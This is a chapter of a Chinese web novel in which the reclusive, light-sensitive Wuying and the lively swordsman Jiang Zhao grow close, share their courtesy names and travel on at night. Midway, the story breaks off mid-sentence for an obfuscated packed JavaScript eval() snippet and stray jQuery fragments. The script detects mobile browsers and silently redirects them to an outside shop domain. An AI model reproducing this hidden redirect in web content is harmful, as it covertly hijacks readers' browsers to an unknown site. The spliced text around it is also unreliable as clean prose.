文趣网 > 其他小说 > 永夜无影 > 3. 第三章 以字相认
    偏生江照会错了意。

    见这位惜字如金,冷冰冰的兄台竟头一回主动朝他开口,江照眼睛唰地亮起来,整个人凑得更近,满脸是可算等到你理我了的雀跃:「我能怎么?兄台你尽管说!是想问我的来历,还是有什么要我帮忙的?嘿,我别的本事没有,跑腿打听解闷陪聊样样在行!你只管开口!」

    这一通热络,把无影那半句话的去路堵得严严实实。那句你能不能安静些,是更说不出口了。

    「江照。」

    无影唤了他一声,趁他张口要接,手腕一翻,那根挑棍抽了出来,不轻不重,径直按在了他的唇上。

    世界清净了。

    江照的话头硬生生堵在半道,瞪圆了眼怔怔看着他,一时连一声唔都不敢出。可这清净还没受用片刻,无影心里便咯噔一下。用物件去碰人的唇,在他那讲究的规矩里,这比说一句闭嘴还要失礼得多,简直是逾矩。

    无影唰地收回挑棍,像被烫着似的,耳根悄悄红了一片,那双素来直视一切谁也不怵的眼睛,这会儿竟有些不敢去看他。江照愣愣张着嘴看着这一幕。

    方才还撑伞镇压群匪,冷得像块寒冰的兄台,竟为着这么点小事红了耳朵,不敢看人。

    「……噗。」

    江照到底没忍住,咧开嘴笑了,笑得眉眼弯弯,那笑里没半分嘲弄,全是失而复得的欢喜。这一下,无影在他眼里从一个高不可攀的怪物高人,忽地有了血有了肉,成了个会害羞的活生生的人。

    那几句话无影一个字也没说出口。这世道太热闹,他想缓一缓,别来烦他,这些全在心里头打转,他向来不惯把这样的示弱宣之于口。他只是默默起身,几步上了那供菩萨的神台,在缺了脑袋的泥像旁盘腿坐下,然后啪地撑开伞,连人带脸整个遮进了那片深紫轻纱的后头。

    眼不见,心为净。

    伞下只剩他一个人的昏暗,那点后悔才慢慢浮上来。早知这世道这般缠人,方才就该当没听见。无影不过想安静歇个白日,怎么就拖回来这一摊子没完没了的热闹。

    庙里那几个人渐渐松了戒备,低声攀谈起来。声音不大,可无影这副感知偏偏一个字都漏不掉,越想不听,那些话越是清清楚楚往耳朵里钻。那股熟悉的烦躁又一点点升上来。

    罢了,无影啪地收了伞,从神台上一跃而下。这清静庙里是寻不着了。他重新撑开伞挡在头顶,迈步出了庙门。外头日头正盛,光落在身上,皮肤又开始细细地刺,眼睛也涩,暗能正不声不响地耗着。

    可无影宁可受这个。日光再难捱,到底是肉身上的,忍一忍就过去的难受,那一屋子人声却是躲不开也忍不住的烦。日光,没有那群人烦。他撑着伞慢慢往庙后的林子边走,想寻一处真正没人的地方喘口气。

    身后一阵脚步轻轻跟了上来。

    是江照。

    江照张了张嘴,那是习惯要开口的架势,可话到嘴边猛地想起无影方才那副莫扰的样子,又硬生生咽了回去,只默默跟着。

    憋了没几步到底没全忍住,江照压着嗓子凑近些小声道:「兄台……你这脸色,在日头底下越发白了,难受吧?要不还是回庙里阴凉处待着?这大日头的,你身子像是扛不住。」

    伞虽挡去大半日头,斜里漏进的那点光到底落在了手背上。不多时那片皮肤便起了细密的疹子,红红的,刺痒里带着灼。心头那股烦躁被这一层难受又拱高了几分。

    可无影抬眼,看着面前这张写满关切的年轻面孔,那股要发作的烦到底被他按了下去。他这身教养实在太好,纵是难受纵是烦,也做不出对一个真心关切他的人甩脸子的事。

    「无碍。」

    他淡淡道,「我出来透透气。」

    江照才不信这无碍。他眼睛尖,方才那一瞥早把那片刺眼的红疹看在眼里,再加上这脸色这逞强的口气,明摆着是在硬挨。可这一回他没絮叨,也没大惊小怪地嚷出来,难得地懂了分寸,没去戳破那点要强。

    江照只是不动声色地往无影向阳的那一侧挪了两步,拿自己的身子替他又挡下一道斜来的日光,然后扬了扬下巴朝林子的方向:「那成,前头林子里荫凉,风也好,我陪兄台走两步,正好透气。」

    顺着透气的话,又悄没声地把日头的难处给解了。这少年嘴上不说,手底下却实实在在地把他护了一程。无影独来独往惯了,再没有同类,也不惯被人这样不远不近地关照着。

    这份不咄咄逼人的好意冷不丁递到跟前,无影心里一时有些说不分明的滋味。

    无影点了点头。

    没多说什么,可这一下就是应了,接了他这份好意,也由他陪着了。这个江照不怕他这张脸不畏他这身古怪,吵是吵了些,心却是热的,手底下还知道分寸。

    无影心里悄悄落下一句,这个人挺顺眼的。对他这样的人,顺眼二字已是难得的靠近。两人一前一后进了林子。林荫里果然舒坦,枝叶层层叠叠把那毒日头筛得只剩斑驳碎影,一阵风穿林而过凉丝丝的,手背上那点刺痒也缓了下去。

    没有刺人的日光,没有躲不开的人声,只有风有树有身侧这个不咄咄逼人的少年。无影心里那股烦躁到底散了。这是他落进这世道以来头一回,身边有个人陪着,却不觉得是负累。

    江照踩着满地碎影,仰头看了看林梢天光,没头没脑轻声笑了一句:「这地方好。兄台你是不是天生就喜欢这种没什么人的地界?」

    江照问得随意,不催他答,就那么舒坦地陪着走。

    「也不是。」

    无影轻轻摇头。

    无影向来不对人解释自己。在永夜他这桩血液病是公开的秘密,族人个个心知肚明,无需开口便会心照不宣地,在他动完手,情绪翻涌的时候多让他几分。

    那是一个不必解释,人人都懂的地方。可这里没人懂,本来他大可不必费这口舌。

    偏偏对着眼前这个看着顺眼的少年,他竟难得地松了口:「老毛病了。」

    无影顿了顿,拣着能说的说,「动完手,总会多些燥烦,需得寻个清静地缓一缓。」

    方才那些,鬓边银坠的冰凉,心头翻滚又被按下去的破坏欲,出手时刻意拿稳的分寸,原来都是这桩老毛病在底下作祟。无影只说了这一层,没再往深里讲。

    江照哦了一声,眼里那点了然混着实打实的关切。

    江照没有刨根问底,只认真点点头把这事记在心上:「原来是这样。那我记下了,往后兄台你一动完手,我就替你支开闲人,寻个清静地方去,保管没人来扰你。」

    江照咧嘴一笑,理所当然得很,仿佛这本就是他该做的。无影吐露的那点脆弱被他三两句妥妥帖帖地接住了,没让他有半分后悔。

    「呵。」

    无影轻笑了一声,那层经年的清冷化开了些。

    被这少年不远不近的好意暖着,无影竟难得起了点玩笑的心思:「那你帮我动手可好?」

    横竖动手是无影犯病烦躁的根由,这粗活若有人替了,他岂不省心。江照先是一愣,随即整张脸都亮了起来。在他听来,这位高冷得像座雪山的兄台竟肯把这样的事托付给他,这是天大的看重,是把他当自己人了。

    江照热血当场上了头,啪地一拍胸脯应得震天响:「好啊,这有何难!往后这些打打杀杀的粗活尽管交给我江照,兄台你呀只管在后头撑着你那把宝贝伞悠悠闲闲看着就成,谁敢造次,我先替你料理了!」

    一个无敌的躲在后头撑伞看戏,一个差得远的抢着冲到前头动手,这分工倒是反了个个儿。无影心里跟明镜似的,江照那两下子拳脚真遇上厉害角色未必护得住他,他才是那个杀不死追不上的。

    可江照应得那样认真,那样欢天喜地,无影忽然觉得,这事并不在他打不打得过。无影要的原也不是江照真能替他挡下什么,是这份我愿意为你站到前头的心意。

    对他这样独来独往,什么都自个儿扛,再没有同类的人,这份心意是稀罕物。江照这股爱笑的劲儿,让无影心里某个角落忽然被照亮了一下。

    寻密。

    他想起了寻密。

    也是这么个爱笑的主儿。当年下馆子,寻密每回都拉上无影,倒不全为情谊,多半是图他那高血脉浓度能讨个九折,蹭得理直气壮。无影嫌他算计,他笑得没皮没脸。

    那家伙英年早婚,三十出头就乐颠颠度蜜月去了,这一去七八年了,连封信都没往回捎。看来是蜜月太称心,把这老友忘到九霄云外去了。再过几年,蜜月也该度完了吧。

    念头转到这里,忽然就拐了个弯。等他欢欢喜喜回来,却再也寻不见他了,他会不会……无影鼻子毫无预兆地一酸。七八年都不曾想起的人,怎么这会儿毫无道理地就撞进了心里。

    无影原以为那是个能相伴一辈子的挚交,他们这样的人,一辈子是好长好长的。如今才惊觉,他们怕是再也见不着了,蜜月尽头等着寻密的,会是一个空空的位置。

    林荫里的风忽然就凉了几分。

    无影侧过头看着身边这个让他想起寻密的少年,那点骤然涌上来的说不清的东西让他轻轻开了口:「江照,你很好。」

    江照本能地要乐,这位高冷兄台夸他,他受用得很。可那点笑还没爬上嘴角就僵住了,他眼尖,一下子撞见了无影眼底那抹方才还没有的怅惘,那一丝不易察觉的红。

    江照那张总咧着笑的脸慢慢柔和下来。他没问怎么了,那神情里藏着的东西他读不懂,可他懂那是无影不愿被人翻看的地方。

    他只是收了所有嬉闹,难得郑重地轻轻回了一句:「兄台,你也很好。」

    说罢便不再多言,只安静稳稳地陪在身侧,把那句你很好连同那点他读不懂的伤感一并妥帖收下,不去搅,只让无影在这片林荫里静静想念他想念的人。

    林荫里那点伤感还没散尽。

    无影看着江照,忽然轻轻开口,把那几个字给了他:「夜无影。」

    江照怔了一下。

    江照这一路都只能唤一声兄台,从没听过这位叫什么。此刻忽然报上名号,他先是没反应过来,随即,虽不懂在永夜名字是何等珍重,是只肯交给亲近之人的东西,他却也实打实感觉到了,这位一直清冷神秘,把谁都隔在外头的兄台,是头一回主动把自己递到了他面前。

    这是把他当朋友了。而无影自己心里那点更深的东西,或许连他也没全看清。无影方才还在痛念一个可能此生再难相见的旧友,转过头却把自己的名字交给了眼前这个新认识的少年。

    像是在这陌生世道里,那个空出来的位置旁边悄悄地又有了一个人。失落还在,可失落的缝里到底长出了点新的东西。

    江照郑重地把那几个字在心里念了一遍,又轻轻念出声:「夜无影。」

    生怕念错了半个音。

    念罢咧开嘴,那笑比方才任何一次都要亮,都要珍重:「好名字。夜无影,我记住了。」

    「无影是我的字。」

    无影又顿了顿,替他分说清楚。他习惯了被这么唤,倒忘了对外人这中间还隔着许多层。

    「不是名。」

    永夜人的名原是顶繁复的。真正的真名极长,那是一串能向上连接到始祖的名字,一旦说出口便等同把性命也一并交付,通常只有伴侣才得以知晓。

    真名之下是通用名,通用名之下才是字。一层一层,就如他身上这几层衣裳,里头的贴身,外头的示人,各有各的分寸。这是永夜的传统。说着这些,乡愁又丝丝缕缕漫了上来,连这套繁琐的讲究此刻想起来都成了想念。

    无影心头一软,话锋不由转向身边的人,想从他身上寻一点熟悉的影子:「你可有字?」

    无影心里其实没底,这一路看下来,这世道的草莽似乎大多有名无字。江照被这一问倒怔住了。

    「……有。」

    江照答得有些迟,像是这个问题触到了他平日不大对人提起的地方,「我爹给取的,字明远。只是在江湖上行走,没什么人这么唤我,我自个儿也少用。」

    江照说得轻描淡写,可无影听得出,一个寻常江湖草莽是不会有字的。能取字,还是家里郑重给取的,这少年的出身怕是不像他表面这般,只是个爱管闲事的莽撞剑客。

    那条没说完的替我爹办事的尾巴,这下又隐隐露了出来。无影一身名字裹得层层叠叠,江照一身来历藏得不声不响,两个看着都不那么简单的人,在这林荫里倒交换了各自的一角。

    「明远……」

    无影念了念这个字,「那我唤你明远可好?」

    这话问得郑重。

    在永夜,以字相称是再得体不过的,把对方当作可亲近之人的礼数。何况无影偏偏挑的,是江照那个江湖上没人用,自个儿也藏着的字。旁人都唤他江照,无影却要唤这个,那是别人都够不着的近一层的地方。

    江照怔了一下。

    那个字明远,是他爹郑重给取的,是他离了家,闯进这刀光剑影的江湖之后便悄悄收起,再没让人唤过的几个字。此刻冷不丁从无影口中说出来,他眼底飞快掠过一丝说不清的东西。

    是想家,是念那个给他取字的人,还是他藏在替爹办事底下没说出口的缘由,那一闪而过,快得连他自己都未必抓得住。可那点怅惘底下更多的是欢喜,这位把谁都隔在身外的兄台竟肯这样唤他,是真把他当作了亲近的人。

    「好。」

    江照重重点头,笑意从眼底漫开,「那……我也不唤你兄台了。无影,这样唤可成?」

    无影报字,牵出他心底的永夜,江照被唤字,勾起他藏着的来历。两个各自揣着想念的人,在这片林荫里以字相称,近了实实在在的一层。

    「嗯。」

    无影应下了。

    从此江照唤无影,无影唤他明远。那点动完手翻涌上来的烦躁,在这片林荫里到底一点点退了下去,头顶那筛碎了的天光也柔和许多,最毒的午时日头已经偏过去了,身上轻快不少。

    江照见他气色缓过来,那张闲不住的嘴又活

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775907|210014||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    泛起来,不过这回问的是正经事:「无影,你饿不饿?」

    江照拍了拍背上的行囊,「我这儿带了些干粮,还有两块没舍得吃的酱肉。要不咱寻块干净石头坐下垫垫肚子?这林子里头说不定还有野果溪水,我去给你寻摸寻摸,你怕日头,就在这荫凉地儿等着,我跑腿。」

    无影心里却没什么胃口。这世道的吃食,不是煮得熟烂便是腌渍炖烤,他们永夜那一套冷食生食在这里像是没人待见,偏还爱使辣椒一类辛辣之物重重调味,他这条吃惯了甜与鲜的舌头碰上那个怕是当场就要告饶。

    连吃的都这般不对味,异乡的滋味原来是从舌尖上就开始的。

    罢了,凑合。

    无影拣着能入口的安排:「那你便去寻些果子。」

    生的甜的于他还算受用,「我猎个小东西,一起吃。」

    果子归无影,他猎的那点野物归江照,至于那两块宝贝酱肉,反正他是不碰的。江照一听眼睛又亮了,无影非但缓过劲竟还主动张罗,要亲自猎食给他。

    「好嘞,果子包在我身上!」

    江照蹦跶着就要往林子深处去,跑两步又回头乐呵呵补一句,「那酱肉我自个儿啃,你这嘴可真够金贵的!」

    语气里没半分嫌弃,全是稀罕。无影也撑起伞没入林荫深处。在这满是凡兽的林子里猎只野物实在算不得什么,感知一铺哪儿有动静一清二楚,瞬影一闪那只野物还没回过神已经落了网。

    满身没人治得了的本事,这会儿不过用来给个少年猎顿野味。无影猎了只兔子,手下留了三分,只打晕没取它性命。他自己也说不清为什么,或许是手底下的习惯,或许是惦记着那一口家乡的血豆腐,活物的血才做得出那滑嫩的滋味。

    可惜这荒山野岭,这陌生世道,既没有那手艺,也没有那念想。又一样够不着的家乡味,无影在心里轻轻叹了口气。回到火堆边,江照已寻回一捧果子。

    无影拈起一颗尝了尝,酸酸甜甜的还算入口。在这处处不对味的地方能有这么一口已是难得。可他到底没什么胃口。这个时辰照他的作息本该是睡着的,一桩接一桩的事把他白日的觉生生搅没了,困意这会儿才后知后觉地涌上来。

    江照已麻利地生起了火要烤那只兔子。火苗一窜,无影下意识往旁边挪了挪,他喜凉,这火气熏人。他扯起衣袖遮住大半张脸,跟着没忍住打了个长长的哈欠。

    这一切全落进江照眼里。江照了然地笑了笑,无影怕光,夜里才精神,这会儿大白日的可不就困得不行。

    江照压低声音怕扰着他:「困了就眯一会儿,兔子烤好我叫你,横竖你也吃不惯这个。」

    江照往火堆里添了根柴,俨然一副我守着你只管睡的架势。火光噼啪,果香淡淡。无影侧卧在一截树枝上,那一身衣袍便顺着枝桠层层垂落下来。原来不是一身黑。

    无影那外袍是深沉的蓝,最外那层浓得化不开的深蓝起,一层一层往里淡去,到最贴身的里衣才是浅浅的,近乎透明的淡蓝,整整五层。此刻垂落下来,最外的深蓝坠得最低,里头的浅蓝隐隐透着,深深浅浅,像一汪从浓到淡的水,又像夜空从最深处往天边一点点褪色。

    配着他那头夜色里近乎墨黑的极深紫发,苍白的脸,还有那把搁在一旁,伞面深蓝的伞,通身尽是冷色,倒像是把一整片永夜的夜空都穿在了身上。

    无影方才说名字如衣裳,一层层各有分寸,偏他这身衣裳竟也真是一层层由深至浅的,名与衣原是同一个道理。树下的江照仰头望着这一汪垂落的蓝看得有些痴,连兔子又焦了一面都没顾上翻。

    这朋友从头到脚都不像这世道该有的人。白日缓缓淌过,林子里静悄悄,只余火苗轻响。无影这一觉睡得沉。白日的光在林梢一寸寸西斜,江照就在树下守了整整一个下午,兔子到底烤糊了一面,他也没舍得弄出大动静。

    其间不是全然没事。傍晚时分那受伤的汉子缓过了劲,一家人要趁天还亮赶路离开,循着寻了过来,对着树上沉睡的恩公千恩万谢,不敢出声,只朝江照连连作揖辞行。

    柳书生也凑在一旁搓着手等着,入夜还得引路赶往那荒庙。这些动静江照都压着嗓子在树下悄悄打发了,半点没扰着他。天一点点黑透了。夜风起来,林子里凉浸浸的。

    江照算准了时辰,仰头朝树上唤他,他记着自己应过的话,不敢由着他自然醒:「无影,无影,天黑了,该走啦。」

    无影睡得太沉,头一声没应。

    江照又提高了些,伸手够着那截垂下来的衣袖轻轻扯了扯,生怕惊着似的放得极轻:「无影?入夜了,再不动身可就赶不上路咯。」

    无影悠悠转醒,入夜了。睁眼头一件事不是起身。他瞧着树下那张守了他一下午,满是关切的脸,心里那点促狭没忍住就冒了上来,没想到吧。他身子猛地一翻,整个人朝树下栽去,那架势活像要直直摔下来。

    「无影!」

    江照魂都吓飞了,惊呼一声扑上前张开双臂就要接。无影身形一顿,稳稳地,轻飘飘又挂回了枝上。那点轻功在身,掉树于他不过闹着玩,压根没打算真摔。

    无影一言不发,只冲江照眨了眨眼,嘴角那点无声的得意明晃晃写着逗着你了。

    江照僵在原地张着双臂,半晌才回过神,胸口砰砰直跳,随即又好气又好笑瞪圆了眼:「你,你吓死我了!」

    可那点嗔怪底下全是藏不住的惊喜,这位平日清冷得像座雪山的兄台,竟也会这般孩子气地不声不响逗人玩。江照哪里知道,在永夜四十岁才不过刚刚成年,论心里的年纪,无影说不定比眼前这少年还要小上几分。

    这点藏在清冷底下的孩子气平日被裹得严严实实,偏偏对着投缘的明远没忍住就漏了出来。闹够了,无影才翻身坐起,把伞收拢抱在怀里,又抬手慢条斯理理了理睡乱的长发,这身仪容他向来在意。

    夜色正浓,正是无影的时辰。理着理着,他指尖一顿,一枚小小的头饰不知何时松脱掉了。

    他低头去找。

    四下早已入夜,黑沉沉的,可无影这双眼睛偏在这时候活了过来,白日里被日光灼得发涩,看什么都难受,入了夜反倒比谁都看得清楚。这片浓黑于他几乎如同白昼,草叶间那一点微不可察的银光没费多少工夫便寻了回来。

    无影拈起那枚小头饰仔细别回发间,这身仪容上的物件他向来在意,一件也不肯落下。

    整理停当。

    「启程吧。」

    柳书生应了一声,提起早备好的灯笼。柳书生和江照这两双凡人的眼睛在这荒山夜路上可没无影这般好使,得靠这点昏黄的光才看得清脚下。于是这一路倒有了桩好笑的反差,无影走在最前头,黑夜里如鱼得水,脚下的石,林间的影桩桩件件清清楚楚,柳书生举着灯笼跟在中间深一脚浅一脚,江照断后时不时还得回头戒备,夜里那点风吹草动在无影听来一清二楚,在他们却尽是看不真切的黑。

    夜色裹着三人,沿着那条往伏龙庙去的路,继续往荒处行去。